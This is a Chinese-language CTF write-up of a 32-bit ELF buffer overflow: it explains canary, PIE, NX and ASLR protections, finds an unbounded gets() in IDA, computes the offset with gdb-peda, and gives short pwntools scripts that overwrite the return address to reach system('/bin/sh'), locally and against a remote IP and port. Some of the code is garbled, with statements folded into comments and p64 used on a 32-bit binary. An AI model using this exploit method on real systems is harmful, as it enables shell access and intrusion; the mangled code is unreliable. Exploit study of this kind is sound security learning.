基本信息查询
Stack:这里没有开启Stack保护,如果开启的话会在栈中的返回地址前放一个随机值,如果被覆盖,程序就会报错退出
NX:没有开启,如果开启的话就不能让IP寄存器指向堆、栈
这里显示这是一个ELF32位的程序
运行后发现需要input
canary(栈保护)
当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie
信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行
(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode
的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
PIE
如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址
NX(DEP)
NX即No-eXecute(不可执行)的意思,限制一块内存区域不可执行。
ASLR
ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
但是,地址随机化不是对所有模块和内存区都进行随机化!虽然libc、栈、堆的加载位置被随机化,但主镜像不会。
链接:https://www.jianshu.com/p/4231b886ded5
接着使用IDA分析
F5,查看伪代码
发现get函数没有限制长度,这里有溢出
接着找到
找到system(“/bin/sh”)地址就可以构造exp
我们这里知道了gets函数读取无限制的用户输入到栈上,还有get函数的地址,接下来要确认输入到多少位可以覆盖到返回地址
创建随机的字符:
gdb-peda$ pattern_create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
run运行,然后输入刚才获取的字符,程序会报错
用pattern_offset命令算出偏移(填入报错的地址):
编写本地的exp:
from pwn import * #p=process("/home/luo/pwn/vul") p.sendline('b'*60 + p64(0x08048503)) p.interactive()
成功后继续编写远程的exp:
#根据题目给的ip和端口远程连接 from pwn import * p = remote('120.79.17.251','10001') p.sendline('b'*60 + p64(0x08048503)) p.interactive()
运行exp: